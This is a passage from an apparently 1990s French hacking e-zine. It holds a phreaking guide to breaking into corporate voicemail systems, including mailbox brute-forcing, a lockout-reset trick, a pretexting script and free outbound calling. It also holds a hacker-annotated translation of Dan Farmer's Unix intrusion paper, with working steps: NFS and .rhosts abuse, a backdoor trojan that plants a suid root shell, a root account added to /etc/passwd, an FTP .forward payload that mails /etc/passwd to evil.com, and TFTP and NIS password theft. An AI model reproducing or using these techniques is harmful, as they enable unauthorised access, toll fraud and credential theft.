genre IL PEUT Y AVOIR UNE VMB.
-=[2.3 TESTER SI LE NUMERO EST UNE VMB OU UN PBX ]=-
Bon pour le savoir appuyez sur les touches '#' ou '*' ou '0' ou '9' ou
'81' ou '0* ' si la femme se tait et vous dit "entrez votre numero de boite
vocale" ou tous se ki se rapproche c bon il y'a un VMB vous pouvez parfois
tomber sur une tonalite grave qui FAIT "Boooooooooooooooo" c un pbx
(attention vous tous les pabx ne font poa "Boooooooooooooooo" ) aller autre
etape..
-=[ 2.4 DECOUVRIR LA PROCEDURE POUR ACCEDER A LA VMB ]=-
Bon refaites le numero reappuyez sur la ou les touches qui vous ont permis de
decouvrir que le numero a bien une VMB EX: 0800 43 47 45 ,# une fois que
vous etes arrive a la femme (ou le mec) qui vous dis les options possible
vous pouvez passer a l'etape suivante.
-=[ 2.5 DECOUVRIR LE TYPE DE VMB ]=-
Ecoutez bien la femme qui vous dit ses options si elle dit "pour envoyer un
messages appuyer sur '1' ..... pour aller dans votre boite vocale tapez
'2'" (VMB DE TYPE '1,2' ) ex : le 0800 00 10 10 bon si elle dit "pour
envoyer un message appuyer sur '1' pour aller dans votre boite vocale
appuyer sur '#'" (VMB DE TYPE '1,#') ex : le 0800 43 47 45 bon pour savoir
si c un meridian c simple si vous avez accede au VMB en faisant 81 c un VMB
meridian ou souvent ça vous le dit du genre "bienvenue dans le messagerie
meridian" ok ex: 0800 153 153
-=[ 2.6 HACKER LA VMB ]=-
Tout d'abord on va parler de la procedure qui est valable pour les types de
VMB '1,2' et '1,# ' puis on attaquera le cas meridian.
GO HACK D'une VMB de type '1,2'
------------------------------
Faites le numero de telephones puis dites a la vmb que vous voulez aller
dans votre boite vocale elle va vous demander votre numero de boite vocale
tapez un chiffre au hasard par exemple le '1' si ça ne dit rien c que le
numero 1 est valide puis tapez un autre chiffre ex: le 3 si ça dis "numero
incorect" c poa le '3' essayer un autre chiffre 4 par ex si ça ne dit rien c
que c bon exemple votre numero de boite vocale est en ce moment 14xx.
x=chiffres a trouver continuer jusqu'a trouver une boite valide si on vous
demande poa votre code confidentielle c bon vous avez une VMB (non ne
partez pas de suite dans ce genre de VMB tres peu ont un numero de code
generalement se sont les phreakers qui en ont :)
GO HACK D'UNE VMB DE type '1,#'
-------------------------------
Effectuer la meme procedure que pour les VMB DE TYPE '1,2' pour trouver un
numero de boite vocale et une fois que vous avez decouvert un numero de
boite vocale valide on va vous demander votre numero de code dans 99% des
cas le numero de code est le numero de la boite exemple : 44 55 code 44 55
sinon essayez des numeros du type numero de la boite a l'envers des numeros
de code du genre 1111 ou 1234 bref vous voyez le truc (sinon faites une
cure rapide de malice ou allez voir France-Telecom pour voir si ils ont du
boulot )
#############################[ L'Astuce du siecle! ]###########################
Quand vous essayez de hacker une VMB vous etes generalement VIRES AU BOUT DE
3 MAUVAIS ESSAIS pour eviter de se faire virer ,au bout du 2eme essai
appuyer sur # (ou * sur certaine vmb) pour revenir au menu principal puis
apuyez sur la touche # (pour les VMB de type '1.#' est '2' pour les VMB de
type '1.2') puis recommencez le hack ou vous l'avez laisse.
###############################################################################
GO HACK D'UNE VMB MERIDIAN
--------------------------
le BRONX je vous le dis
je laisse EASY HACKER parler pour moi..
(cette article est tire de NOWAY 2)
IV) -=)> La VMB meridian <(=-
------------------------------
* Acces direct a la VMB (par le numero du standard)
Les commandes sont soit sur une digit pour selectionner quelque chose
dans le menu en cours, soit sur 2 pour acceder directement a une commande
quelconque.
Pendant le message d'accueil, il suffit de taper 81 pour acceder a une
BAL. Au risque de me repeter, les bals sont sur 4 digits. Par defaut, le code
est bien entendu le numero des BALs. Le plus dur au debut est de tomber sur
un numero de BAL existante. Scannez d'abord les bals de la forme x100, puis
augmentez de 5 en 5 (x105 x110 x115 etc...).
Une fois que vous etes logges,
vous arrivez a la lecture du courrier. Les commandes possibles sont:
2: lecture du message en cours
4: message precedent
5: ecrire un message
6: messave suivant
9: appelle le poste de l'expediteur
Les autres commandes possibles sont:
70: ajout de la mention "URGENT" sur un message
71: repond au message en cours
72: consulter l'envellope du message
73: transfert
74: ???
76: efface le message
77: supprime le message de tous les destinataires
78: envoi de message dans toutes les bals
79: envoi un message apres son enregistrement
Et les commandes se rapportant plus a votre boite qu'aux messages:
80: parametrage VMB
81: reconnexion
82: repondeurs (interne et externe)
83: deconnexion
84: change le mot de passe
85: listes de diffusion
86: acces direct a un message (faire numero du msg + #)
87: annuaire des bals
88: maintenance des bals
89: changement du nom du proprio
Certaines commandes etant particulierement interessantes, je vais en
detailler quelques unes:
80: permet d'acceder a un menu tres interessant concernant le
parametrage global de la VMB. Les differents choix proposes sont:
1: change le numero de l'operateur (lorsqu'on demande de l'aide en tapant
0 ou qu'on se fait jeter apres 3 essais de hack d'une bal). Les digits
filtrees sont les memes que lorsqu'on est directos sur le PBX, par consequent
les indicatifs qui ne marchaient pas n'ont pas plus de chances de marcher en
passant par la. Par contre lorsque la fonction d'appel automatique d'un poste
est absente, celle-ci vient a la rescousse. Le numero doit la aussi etre
suivi de # et precede de l'indicatif d'outdial. REMETTEZ IMPERATIVEMENT LE
NUMER0 DE P0STE PRECEDENT (ca le dit lorsque vous essayez de le modifier)
sinan le lendemain matin c'est D0WN !!! :*(
2: modification du message d'accueil (5 pour enregistrer, # pour finir)
3: modification de l'arborescence. J'avoue ne pas avoir capte grand chose
a cette fonction (qui m'a pourtant l'air tres interessante), car elle fait
references a plein de nombres dont la signification est difficile a trouver
sans la doc. Mais j'ai beau avoir pratiquement tout explore, je n'ai pas
trouve quoi que ce soit permettant de modifier les indicatifs filtres :-(
81: cette fonction est un bonheur pour pouvoir scanner des
codes sans se faire deco. 0n est en effet deco au bout de 3 essais, mais le
compteur est remis a zero lorsqu'on se logge. Par consequent, il suffit de
faire deux essais, de se logger sous une bal dont on connait le code, de
refaire 81 et hop... le compteur est remis a zero et on peut refaire 2 essais
avant de se relogger etc... 0n peut ainsi scanner autant de BAL que desire
sans jamais se faire deconnecter. ;-)
83: a quoi sert cette fonction ?
85: les listes de diffusions sont tres pratiques pour pouvoir
scanner les numeros de bals utilises. Il suffit en effet d'entrer le numero
de la liste a creer suivi de #, de faire 5 et hop, la VMB attend les numeros
de BALs et vous dit au fur et a mesure si c'est attribue ou non. Attention
toutefois: les frequences DTMF ne sont pas pris en compte lorsque le message
dit "Il n'y a pas de boite au numero". La signalisation ne reprend qu'apres
cette phrase, avant de prononcer le numero de la BAL en question. Donc ne
vous precipitez pas sinon ca va systematiquement vous dire que la BAL entree
n'existe pas a cause d'une erreur de frappe...
Le plus simple pour hacker des BALs est donc de scanner toutes les
BALs existantes grace a cette fonction, de tout noter au fur et a mesure,
puis de tester celles dont le passe est egal au poste grace a la commande 81.
87: cette fonction est parfois accessible de tous, mais
generalement reservee a quelques BALs de niveau de securite superieur. C'est
assez lourd car ca vous donne pour chaque numero le nom du proprietaire, la
date de la derniere visite, le nombre de messages envoyes, recus, archives et
d'autres conneries, mais c'est quand meme une aubaine lorsque cette option est
disponible !
88: cette fonction n'est accessible que par la BAL du service
informatique (souvent situe dans les 9000 et ne correspondant pas forcement a
un poste en service). Les choix proposes sont les suivants:
1: Informations sur une boite: derniere visite, nom du proprio, etc...
2: Suppression d'une boite: attention: le numero doit etre valide par deux
appuis successifs sur la touche #.
3: Reinitialisation d'une boite: cette commande peut s'effectuer sur une
BAL en service ou non. Les messages et repondeurs sont effaces, et le code est
remis au numero de la BAL.
Il n'est malheureusement impossible de modifier le niveau d'une autre
BAL ni le filtre des indicatifs a ce point-ci.
89: commande souvent retiree pour des raisons que je n'explique
pas encore...
-=[ 2.7 ABUSER DE LA VMB ]=-
Ben la je vous fais confiance :)
-=[ 3.0 PRECAUTIONS ]=-
Ben voila une vmb c bien mais il faut faire attention de pas la griller
betement.
1. Ne jamais prendre une vmb deja utilisee a moins que vous n'en vouliez une
d'urgence.
2. Ne jamais foutre le bronx sur les VMB a moins de vengeance iminente pensez
aux autres.
3. Ne jamais virer les messages des autres utilisateurs.
4. Ne surchagez poa votre boite vocale avec une annonce de 30 minutes et 8000
messages.
5. Amusez vous bien est soyez toujours des mecs cool.
6. Ne denoncez jamais un autre phreaker.
7. Vous risquez poa de vous faire tracer si vous avez poa une ligne numeris.
Bref les VMB c bien c facille c cool c pratique...
Mais LES PABX C MIEUX alors au prochain numero.
COD4 (une precision COD4 ne veut pas dire le quatrieme COD ça veut COD4 c
TOUT bon je m'en vais :)
++++++++++++++++++++++++++++++nEW NEW NEW NEw++++++++++++++++++++++++++++++++++
1: Comment se trouver facilement un BOITE VOCALE sur les VMB meridian !!
Vous avez le choix bien sur de scanner tous les numero de 5 en 5 mais bon
hum hum c long voici la meilleure faon hehe...
1.1 d'abords trouvez des boite meme utiliser pour cela
lors du debut du messages faites le 0* la vous allez tombez sur un message
qui tient a peu pres ce language "vous etes en relation avec un service qui
vous mettra en relation avec la personne ou le poste que vous desirez consulter
entrez le numero de poste de la perssone que vous desirez consulter suivi
du #(diese)". Hum bon pour chercher un poste occupe tapez des numeros
du genre 2100, 2300, 2400, etc vous voyez le genre bon une fois que vous
avez trouve une boite vocale notez la position ou elle se trouve.
Vous savez maitenant que il y'a un groupe de boites vocales autours d'elle
maintenant determiner le debut et la fin du groupe occupe.
ex: il y'a des boite vocales (de 2500 a 2550) vous avez donc un groupe de 50
boites vocales environ.
Allez voici le truc si la derniere VMB est 2550 ajoutez 5 est vous obtiendrez
la VMB 2555 (logique non) bon maitenant racrochez rappellez lors du message
faites 81 la tapez le numero de boite 2555 puis comme passe 2555 (attention a
peut changer essayer le 0000 etc).
Hehe et vous voila avec un jolie boite vocale...
Et vous avez gagne du temps ;)
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
LES OUTDIALS FACILES sur meridian (hehe meridian a mal) pour caller gratos
depuis UN MERIDIAN voici les 2 methodes que j'utilise d'abors loggez vous sur
votre VMB OK une fois desus faite 0* la vous allez tomber sur le classique
"vous etes en relation avec blablabla...." bon essayez votre numero comme
a indicatif+numero+# a la fin EX: 00+numero+# (essayez tous les
indicatifs bateau)ou si vous etes un vrai acharne faites tous le numero de 0
a 99 bon a marche poa arg passez a la methode 2 bon d'abord faut le
numero du standard oui je veux bien mais je le trouve comment ? la faut
ruser allez regardez comment j'ai recupere un bo numero de standard
# allo oui bonjour je voudrais connaitre votre numero
+ comment ?
# oui en faite j'ai mis votre numero dans la memoire de mon telephone est
comme je voudrais le noter sur papier j'en aurais besoin!
+ ha oui je comprends ben c le XXX+XXX+XXXX
Bon un fois le numero entre les pognes prenez les 4 derniers chiffres du
numero qu'elle vous as donne EX. 12 34 '55 66' prenez le 55 66 en fait le
55 66 corespond au numero de poste du standard allez reconnectez vous sur
votre VMB faites 0* puis le 5566+numero+# voila c tout mais c deja poa mal
bon pour toute info je suis preneur ALLEZ BON HACK/PHREAK.
CREDITS
T7HS,PAceMAKer,BYpass,SORcErY,cleb,MayW33d,KWel,^mars ,loginz,
Morgan,scud ,zeb,pegase,ZZZ , est tous ceux du #hackfr
et larsen qui ma donne l'idée
noway qui ma ouvert les yeux
npc qui me les ouvre encore
dsk qui est vraiment actif
puis le phe
PUIS LE PLUS NOBLE DE TOUS
THE 7th HACKER'S SOCIETY
;)
-------------------------------------------------------------------------------
NoRoute #1 þ Traduction .... Farmer þ 4762 þ CoD4&Mika þ NoRoute #1
-------------------------------------------------------------------------------
########################################################################
# # # # # # ###### another file by mikasoft #
# # # # # # & CoD4 from the PHE #
# # ### ###### ###### FRENCH GROUP #
# # # # # #
# # # # ###### #
########################################################################
ATTENTION !!!
Cet article est en fait compose de deux parties. La premiere est la
traduction de l'article de Dan Farmer (auteur de Satan) mais
"version hack". Cela veut dire que je vous montrerai des exemples bien
parlants surtout sur le NIS, etc... Avec bien sur toutes les
explications dont vous aurez besoin. L'autre partie n'est pas tellement
orientee hack, elle est surtout destinee au newbie (attention pas au
totalement novice d'unix!).
Allez GO GO GO HACK! ;)
D'ailleurs vous trouverez les explication pour les newbies dans
HACKER'S NOTE.
Recherche d'informations
------------------------
Supposons que tu sois l'administrateur systeme de Victim Incoprorated's
Network.
Dans un effort de securisation de tes machines, tu demandes a
l'administreur d'un site proche (evil.com) de te donner un compte sur
l'une de ses machines pour verifier ton systeme de securite depuis
l'exterieur.
Que vas-tu faire ? D'abord, essaye de rassembler des informations sur
ton site (la cible). Il y a moult services de reseau a utiliser:
finger, showmount, et rpcinfo sont de bons points de depart.
Mais ne t'arrete pas la.
--
Tu devrais utiliser aussi le DNS, whois, sendmail (SMTP), ftp, uucp,
et tous les autres services que tu peux trouver.
Il y a tellement de methodes possibles que l'espace manque ici pour
les aborder toutes, mais nous allons essayer de montrer un apercu des
strategies les plus communes et/ou dangereuses que nous avons vu ou
auxquelles nous avons pense.
Normalement, tu devrais trouver de telles informations sur tous les
sites du sous-reseau ou de la zone d'attaque -- l'information c'est le
pouvoir -- mais ici,nous allons examiner uniquement notre cible.
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
En fait, avant de hacker un site, le but du jeu est de rassembler un
maximum d'informations. Pour ca, tout est bon: visite leur web, regarde
leur sendmail (vois si leur version est buggee), fais un FTP pour voir
quel systeme ils utilisent, fais meme un telnet, ...
-------snip-------8<-------snip-------8<-------snip-------8<-------
Pour commencer , tu regardes ce que la commande finger te donne:
(supposons qu'il est 6:00pm, Nov 6, 1993) :
victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Foobar co 1d Wed 08:00 death.com
Bien! Un seul idle user -- il semble que personne ne s'apercevra de
rien si nous arrivons a entrer dedans maintenant.
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
Le service finger est un service tres utile pour recuperer des
informations. C'est pour ca que beaucoup d'admins l'enlevent. :(
-------snip-------8<-------snip-------8<-------snip-------8<-------
Maintenant, tu essayes d'autres tactiques. Comme tous les fans de finger
le savent, faire un finger sur "@","0", ou "", et sur des noms comme
root,bin,ftp,system,guest,demo,manager, etc... peut reveler des
informations interessantes. La nature de ces informations dependent
de la version de fingerd que votre cible utilise, mais les plus
notables sont les noms de login, avec leur repertoire utilisateur et le
site depuis lequel il s'est connecte la derniere fois.
Pour avoir d'autres informations, tu peux utiliser ruser (en
particulier avec l'option -l) pour obtenir des infos utiles sur les
utilisateurs qui sont actuellement connectes.
Ces commandes sur victim.com donnent les informations suivantes,
presentees sous la forme d'un tableau:
Login Home-dir Shell Last login, from where
----- -------- ----- ----------------------
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
On peut remarquer que le compte guest dispose d'un shell est que son
home directory est exporte donc accesible par NFS.
-------snip-------8<-------snip-------8<-------snip-------8<-------
-------snip-------8<-------snip-------8<-------snip-------8<-------
BIBI NOTE
Notre experience avec SATAN et l'observation de crackers de syteme au
travail, nous ont prouve que finger etait l'un des services les plus
dangereux, parcequ'il est tres utile pour enqueter sur la cible
potententielle. Cependant, la plupart de ces informations ne sont
utiles qu'utilisees en conjonction avec d'autres donnees.
-------snip-------8<-------snip-------8<-------snip-------8<-------
Par exemple, showmount sur notre cible donne:
evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
La commande showmount avec l'option -e hostname permet de connaitre les
systemes de fichiers effectivement exportes par le systeme distant
hostname.
-------snip-------8<-------snip-------8<-------snip-------8<-------
Remarque que /export/foo est exporte pour tout le monde. Remarque
egalement que c'est le repertoire utilisateur de "guest". Il est temps
pour nous de rentrer dans la machine! Dans le cas present, tu va monter
(mount) le repertoire utilisateur de "guest". Comme tu n'as pas de
compte correspondant sur la machine locale et comme le root ne peut pas
modifier les fichiers sur un systeme de fichiers monte avec NFS, tu cree
un compte "guest" dans ton fichier /etc/passwd local. En tant
qu'utilisateur guest tu peut mettre un fichier .rhosts dans le repertoire
utisateur distant de "guest", ce qui te permet de faire un login sur la
machine cible sans donner de mot de passe.
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
En fait comme tu as pu le voir avec la commande showmount, le
repertoire /export est accesible a tous et comme le repertoire
de l'utilisateur guest est dans /export/foo tu as acces a son home
directory.
En suite l'astuce consiste a mettre un fichier .rhosts (le fichiers
.rhosts est le fichiers d'autorisation des r-commandes. ex: voici un
fichier .rhosts qui appartient a l'user nico de chez X.com:
# .rhosts
# hostname logname
bibi.com paul
bibi.com linda
Cela veut dire que l'utilisateur paul de la machine bibi.com a le droit
de faire des r-commandes chez X.com et pareil pour linda.
Si tu mets "+ +" dans le .rhosts, tu permets a tout le monde d'acceder
a cette machine.)
Donc tu mets un fichier .rhosts contenant "+ +" dans le home directory
de l'utilisateur guest se qui ensuite va te permetre de te connecter a
victim.com juste en faisant un rlogin (la commande rlogin permet de se
logger sur une machine unix distante sans avoir a donner de mot de passe
si on est declare dans le .rhosts de l'user ou le /etc/hosts (mais qui
n'est accesible que au root :(..).
Par exemple, reprenons le cas de nico de chez X.com. Il y a linda de
chez bibi.com qui est declaree, donc moi je deviens linda de chez
bibi.com et je veux me logger chez X.com:
je fais ceci:
rlogin X.com -l nico
Et hop! Je suis logge. :) Si nico de X.com avait mis "+ +" dans son
.rhosts, tout le monde pourrait se logger).
-------snip-------8<-------snip-------8<-------snip-------8<-------
Si, a la place des repertoires utilisateur, victim.com exportait un
systeme de fichiers avec des commandes utilisateur (/usr ou
/usr/local/bin par exemple), tu pourrais remplacer une commande par un
cheval de troie (trojan) qui executerait les commandes de ton choix.
Le prochain utilisateur a executer cette commande executerait ton
programme.
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
Un cheval de troie est en fait un programme qui va te permettre
d'executer des actions a l'insu de l'utilisateur. Voici un exemple de
cheval de troie:
$ cat lss
#!/bin/sh
echo "+ +" > ~/.rhosts
echo "command not found"
$
Cela veut dire que chaque fois qu'un user tapera lss au lieu de ls, il
executera notre cheval de troie qui comme vous l'avez vu met "+ +" dans
le .rhosts de son repertoire. :)
Ah, oui! Un truc a verifier lorsque tu hackes une machine dans laquelle
tu te trouves, regarde la variable PATH
$ echo $PATH
$.:/usr/local.bin:/bin: etc etc
Si tu as bien vu le '.' au debut de la variable PATH, cela veut dire
que le shell cherchera d'abord le programme dans le repertoire courant
et ensuite dans /usr/local/bin, etc... C'est un enorme trou de securite.
Voici un exemple de cheval de troie qui exploite se bug:
#!/bin/sh
# La on met un "+ +" dans .rhosts histoire de se faire une backdoor
echo "+ +" > $HOME/.rhosts >/dev/null
chmod 666 $HOME > /dev/null
# On rend son rep "world writable" :)~~
echo $LOGNAME > /tmp/... >/dev/null
# On met les noms des victimes 8)
if test $LOGNAME = root
# On regarde si c'est le root qui a execute le programme
then
chmod 666 /etc/passwd
# Bon, ca peut nous servir ;)
cp /bin/sh /usr/users/bibi/.../.temp > /dev/null
# La, on va mettre un shell ROOT dans un repertoire impossible :)
chown root /usr/users/bibi/.../.temp >/dev/null
# On l'installe
chmod 4777 /usr/users/bibi/.../.temp >/dev/null
# On le met suid ROOT
fi
# Il s'agit qu'il execute son ls aussi :))
mv /tmp/ls $HOME/.X23E4 > /dev/null
mv /tmp/... $HOME/... > /dev/null
# On deplace notre trojan
ls $*
# Allez, on lui envoie son ls :))
mv $HOME/.X23E4 /tmp/ls > /dev/null
mv $HOME/... /tmp/... > /dev/null
# On remet notre trojan
# Bon! On est bien, alors on se casse...
-------snip-------8<-------snip-------8<-------snip-------8<-------
Nous suggerons que les systemes de fichiers soient exportes:
- read/write seulement a certains clients de confiance.
- read-only, quand c'est possible (les donnees ou les programmes
peuvent souvent etre exportes de cette maniere).
Si la cible a un '+' dans son fichier /etc/hosts.equiv (mis par defaut
sur les machines de certains vendeurs) ou a le network bug (CERT
advisory 91:12), n'importe quel utilisateur (sauf le root) avec un login
sur le fichier passwd de la cible peut faire un rlogin sur la cible sans
donner de mot de passe.
Et comme l'utilisateur "bin" possede souvent des fichiers et des
repertoires importants, ta prochaine attaque est d'essayer de rentrer
sur le site cible et de modifier le fichier passwd pour te laisser avoir
un acces root.
D'abors on se met en user bin:
evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh;\
> cat pw.old) > passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #
Quelques remarques sur la methode utilisee ci-dessus;
"rsh victim.com csh -i" est utilise pour aller sur le systeme parce que
ca ne laisse aucune trace dans les fichiers de surveillance wtmp et
utmp, de sorte que le rsh est invisible pour finger et who. Cependant,
le shell distant n'est pas attache a un pseudo-terminal, ce qui fait
que les programmes comme les pagers et les editeurs ne marcheront pas
-- mais c'est tres utile pour de breves explorations.
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
La comande rsh est une r-commande. Elle permet l'execution d'une
commande a distance, par exemple:
(on reprends le .rhosts de nico chez X.com)
La on veut executer "mail peutimporte@coco.com < /etc/passwd"
chez X.com, on va donc faire:
rsh X.com -l nico cat /etc/passwd
Les fichiers wtmp et utmp sont tres importants car ils gardent une
trace de tes connexions, etc... Bref se sont les espions de l'admin.
-------snip-------8<-------snip-------8<-------snip-------8<-------
Que faire maitenant? Avons-nous explore tous les trous dans le systeme
cible?
Non, surement pas. Verifie que d'apres le resultat d'un finger sur ta
cible il existe un compte "ftp". Nous pouvons penser que le FTP
anonymous est en marche. Le FTP anonymous peut etre une voie facile
pour avoir un acces, car il est souvent mal configure. Par example, la
cible peut avoir une copie complete du fichier /etc/passwd dans le FTP
anonymous (repertoire ~ftp/etc , mais c'est plutot rare). Si le
repertoire utilisateur FTP de victim.com est writable, il va nous
permetre d'executer des commandes.
Dans ce cas, on va s'envoyer un mail qui contiendra le fichier
/etc/passwd , simplement en creant un fichier .forward qui executera
des commandes quand un mail sera envoye au compte FTP.
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
Le programme sendmail utilise le meme mecanisme pour redistribuer le
courier ou executer divers programmes comme "vacation" (programme qui
te renvoie ton mail quand tu es absent (il se presente comme ca dans
le .forward ("|/usr/ucb/vacation username")).
-------snip-------8<-------snip-------8<-------snip-------8<-------
evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
Maitenant, tu n'as plus qu'a attendre que le fichier passwd te soit
envoye.
Le wuarchive ftpd, un remplacant du daemon FTP mis en circulation par
l'Universite de Washington , apporte beaucoup de problemes. Si ton
wuarchive ftpd est plus ancien que le 8 avril 1993 tu dois le remplacer
par une version plus recente.
Finalement ce programme est vaguement similaire a FTP/TFTP, ou le
Trivial File Transfer Protocol.
Ce daemon ne demande aucun password pour l'identification. Si un serveur
donne acces au TFTP sans restriction (souvent, en configurant
/etc/inetd.conf), un attaquant peut lire et ecrire dans tous les
fichiers dans le systeme entier (il peut cependant ecrire uniquement
dans les fichiers 666). Dans l'example suivant, on prend /etc/passwd
pour le mettre dans notre repertoire /tmp .
evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
Si aucune des methodes precedentes n'a fonctionne, il est temps d'aller
vers des mesures plus drastiques. Tu as un nouvel ami: rpcinfo. C'est un
autre programme utile, parfois meme plus utile que finger. Bien des
sites proposent des services RPC qui peuvent etre exploites; rpcinfo
peut parler au portmapper et te montrer le chemin. Il peut te dire si un
site utilise NIS, si c'est un NIS maitre ou un NIS esclave, si une station
sans disque est dans le coin, s'il utilise NFS, un service d'information
(rusersd,rstatd, etc...), ou un autre programme peu commun (de
surveillance ou de securite).
Retournons a notre cible qui nous sert d'exemple:
evil % rpcinfo -p victim.com [output trimmed for brevity's sake]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
rpcinfo est une commande qui vous permet de voir les service RPC qui
repondent, elle permet surtout de connaitre les numeros de ports qui ont
ete attribues par le daemon portmapd aux autres daemons RPC.
-------snip-------8<-------snip-------8<-------snip-------8<-------
Dans ce cas, tu peux voir plusieurs choses interessantes sur notre
cible; tout d'abord qu'il s'agit d'un serveur NIS. Ce n'est peut etre
pas de notoriete publique, mais une fois que tu connais le nom de
domaine NIS s'un serveur, tu peux obtenir n'importe quelle map NIS par
une simple requete RPC, meme si tu es en dehors du sous-reseau servi par
le serveur NIS (par exemple, en utilisant le programme YPX qui peut etre
trouve ici ou la). De plus, un certain de nombre de systemes ont des
noms de domaine NIS facile a deviner. Essayer de deviner le nom de
domaine NIS peut s'averer tres payant. De bons candidats sont le nom du
site ("victim" ou bien "victim.com"), le nom de l'organisation, le
netgroup name dans le resultat de "showmount", et ainsi de suite...
Si tu veux voir si le nom de domaine est victim, tu peux taper:
evil % ypwhich -d victim victim.com
Domain victim not bound.
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
La commande ypwhich indique quel serveur fournit actuellement un service
au client designe en argument. Par exemple:
(nous sommes dans un reseau local et nous voulons savoir quelle machine
est maitre de bibi)
evil % ypwhich bibi
bigbibi
La machine bigbibi est le serveur maitre de bibi.
ATTENTION: voici la syntaxe des commandes a utiliser pour le NIS (comme
ypcat, ypwich, etc...):
ypwhich [-d domainname] hostname
l'option -d permet de designer le domaine.
-------snip-------8<-------snip-------8<-------snip-------8<-------
Ceci est un essai infructueux; si tu avais trouve le bon nom de domaine
cela t'aurait affiche le nom du site du serveur NIS de victim.com en
retour.
Cependant, remarque que le repertoire /var est exporte a tout le monde
(voir la section NFS). Il suffit de mounter ce repertoire et de regarder
dans le sous repertoire yp --- entre autres choses tu verras un autre
sous repertoire qui contient le nom de domaine de la cible.
evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
.
.
.
Dans ce cas, le nom de domaine NIS est "foo_bar".
De plus, les maps NIS contiennent souvent une liste de nom des
utilisateurs/employes ainsi qu'une liste de site interne, sans parler
des mots de passe (en vu de cracking).
-------snip-------8<-------snip-------8<-------snip-------8<-------
HACKER'S NOTE
Le service NIS permet a une machine d'aministrer plusieurs autres
machines, donc elle met en commun une base de donnees pour chaque
machine esclave (les maps NIS). Ces maps sont en faite les fichiers
/etc/passwd /etc/networks , etc, mais sous format NIS.
Bon tu vas dire: "Mais concretement ca veut dire quoi?"
Par exemple:
Un mec fait un login sur la machine "palestine_libre", il envoie ses
login et mot de passe, mais la machine "palestine_libre" ne regarde
pas dans son propre /etc/passwd, elle va faire une requete pour
consulter la map NIS 'passwd', qui est en fait un gros /etc/passwd
mais commun a tous. Ensuite elle va dire au mec si il a ou pas le
droit de rentrer.
Donc la faille est que n'importe qui peut consulter les maps NIS d'un
site, il lui suffit juste de savoir le nom du domaine NIS. :)
Par exemple:
Nous voulons voir la map NIS "passwd" de chez bibi.com, nous savons
que que le nom de la machine est bibi donc nous n'avons plus qu'a
faire ca:
$ ypcat -d bibi.bibi.com passwd
Et hop! Le fichier passwd va s'afficher, on a plus qu'a le prendre et
le passer a la moulinette.
Note que rpcinfo regarde si victim.com fais marcher rexd. Comme le
